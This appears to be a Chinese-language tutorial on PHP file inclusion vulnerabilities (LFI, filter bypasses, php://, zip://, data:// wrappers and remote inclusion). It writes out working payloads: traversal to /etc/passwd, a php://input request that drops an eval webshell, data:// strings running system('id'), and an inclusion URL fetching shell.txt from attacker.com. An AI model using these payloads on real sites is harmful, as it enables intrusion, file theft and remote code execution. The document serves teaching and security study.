目录
1.本地文件包含漏洞(LFI):能够打开并包含本地文件的漏洞
一、文件包含
1.什么是文件包含?
文件包含是指在一个文件中包含另一个文件的内容。想象一下,在写一个大型程序时,为了避免代码重复,你会把一些常用的功能写在单独的文件里。然后在需要用到这些功能的地方,你通过特定的函数把这个文件“包含”进来执行。
2.如何理解“包含”?
(1)包含即执行:若被包含文件是可执行脚本(如.php),其中代码会被服务器解析运行
(2)包含非脚本文件时的特殊行为:若被包含文件是非可执行文件(如.txt,.jpg),PHP会尝试将其内容当作代码解析
3.文件包含与文件上传的区别
文件上传是攻击者主动向服务器发送恶意文件;
文件包含是攻击者诱使服务器加载并执行已存在的文件(可能是恶意文件,也可能是系统敏感文件)。
4.常用函数
include():包含文件并执行。如果文件不存在,会发出警告,但脚本继续执行。
include $_GET["file"]; # file是参数
include_once():同上,但确保文件只被包含一次。
require():包含文件并执行。如果文件不存在,会发出致命错误,脚本停止运行。
require_once():同上,但确保文件只被包含一次。
二、文件包含漏洞
核心在于:包含文件的路径是动态的,这个路径可以由用户直接或者间接控制,没有经过严格的过滤。攻击者不再提供合法的文件名,而是精心构造一个路径,指向攻击者想要执行的系统文件或恶意文件。
1.本地文件包含漏洞(LFI):能够打开并包含本地文件的漏洞
(1)原理
攻击者利用漏洞包含web服务器本地文件系统上的文件
网页包含如下代码:
<? php$file = $_GET [ 'filename' ]; # filename是接收的参数include ( $file );?>1234
利用该代码,我们可以读取系统本地的敏感信息,例如C:\Windows\system.ini文件
使用绝对路径读取:
网址/include.php?filename=C:\Windows\system.ini
使用相对路径读取:
关键概念
当前工作目录:通常是指执行脚本所在的目录(例如,如果脚本在/var/www/html/app/index.php,那么当前目录是var/www/html/app/)。
相对路径符号:
./ :当前工作目录
../ :当前工作目录的上一级目录,多个../可以连续使用以向上移动多级目录
场景假设:
漏洞文件:/var/www/html/index.php
目标文件:/etc/passwd(linux账户信息)
步骤1:计算路径深度
Web根目录结构:
/var
└── www
└── html
└── index.php ← 当前脚本位置
从当前工作目录到系统根目录需要向上3级
步骤2:构造payload
网址/index.php?file=../../../etc/passwd
# 路径解析
起始路径: /var/www/html/index.php
1. ../../../ → 回退到根目录: /
2. + etc/passwd → 最终路径: /etc/passwd
(2)一些常见的敏感目录信息路径
2.本地文件包含绕过
场景1:过滤../
双写绕过:?file=....//....//....//etc/passwd
过滤后:..//..//..//etc/passwd
场景2:强制添加后缀
空字节截断:?file=../../../rtc/passwd%00
原理:C语言中\0(空字节)表示字符串结束
场景3:PHP伪协议绕过
php内置了很多url风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数
PHP伪协议的本质是PHP提供的“流处理接口”,允许用统一语法访问不同来源的数据(文件、HTTP、zip等)。在安全领域最危险的是它们能够绕过文件后缀限制,甚至直接执行代码。
核心伪协议
(1)file://协议
作用:访问本地文件系统
特点:直接读取文件内容,不执行PHP代码;可读取任意拥有其权限的文件;不受allow_url_fopen与allow_url_include的影响
基本语法
file://[绝对路径]
示例
127.0.0.1/include.php?test=file://D/study/apache
(2)php://协议
包含两个核心子协议
php://filter(最常用)
作用:对数据流进行过滤处理,用于读取源码并进行base64编码输出,不然会直接当作php代码执行就看不到源代码内容了
特点:可读取文件内容而不执行PHP代码;支持多种编码转换
利用条件:allow_url_fopen:off/on
allow_url_include:off/on
基本语法
php://filter/[过滤器]/resource=[文件路径]
常用过滤器:
convert.base64-encode Base64编码 string.rot13 ROT13编码
示例
#读取PHP源码(base64编码)
http://vuln.com/?page=php://filter/convert.base64-encode/resource=index.php
可以得到加密后的源码,再进行base64解码,可以获取到该网页的完整源码信息
php://input(高危)
作用:访问原始post数据,将post请求中的数据作为PHP代码执行。当传入参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,拍黄片执行时会将post内容当作文件内容,从而导致任意代码执行
利用条件:allow_url_fopen:off/on
allow_url_include:on
利用方法:我们可以直接写入php文件。输入file=php://input,然后使用bp抓包,写入php代码:
<? php fwrite ( fopen ( "shell.php" , "w" ), '<?php @eval($_POST[2233])?>' ); ?>
发送报文,可以看到本地生成了一句话木马。
(3)zip://协议
作用:可以访问压缩包里的文件。当它与包含函数结合时,zip://流回被当作php文件执行,从而实现任意代码执行
特点:zip://中只能传入绝对路径
要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23
只需要时zip压缩包即可,后缀名可以随意更改
相同的类型还有zlib://和bzip2://
利用条件:allow_url_fopen:off/on
allow_url_include:off/on
基本语法
zip://[压缩包绝对路径]#[压缩包内文件路径]
示例
127.0.0.1/incude.php?test=zip://D:\App\phpstudy_pro\WWW\include\phpinfo.zip%23phpinfo.txt
(4)data://协议
作用:直接再url中嵌入数据。与php://input类似,可以让用户来控制输入流
利用条件:allow_url_fopen:on
allow_url_include:on
基本格式
data:[<MIME-type>][;charset=<encoding>][;base64],<data>
利用方式
#直接执行代码
http://vuln.com/?page=data://text/plain,<?php phpinfo();?>
#base64编码绕过过滤
# 原始代码:<?php system("id");?>
# Base64编码:PD9waHAgc3lzdGVtKCJpZCIpOz8+http://vuln.com/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8+
3.远程文件包含:可以加载并执行远程服务器的恶意代码文件
攻击原理
(1)漏洞入口点:应用程序中存在使用用户输入动态包含文件的代码。例如
<? php$path = $_GET [ 'file' ]; //用户通过url参数?file=...控制这个值include ( $path . '/phpinfo.php' ); //添加‘/phpinfo.php’后缀,可用 ? 截断?>
(2)攻击者控制输入:攻击者构造一个恶意的请求,将file参数的值设置为指向攻击者自己服务器上的一个恶意脚本的url,如
http://vulnerable-site.com/index.php?file=http://attacker.com/shell.txt
(可以借助bashupload / upload files from command line网站,将本地恶意文件上传会生成一个链接作为恶意脚本的url)
(3)php引擎会将获取到的远程文件内容作为PHP代码来执行
条件
allow_url_fopen:on
allow_url_include:on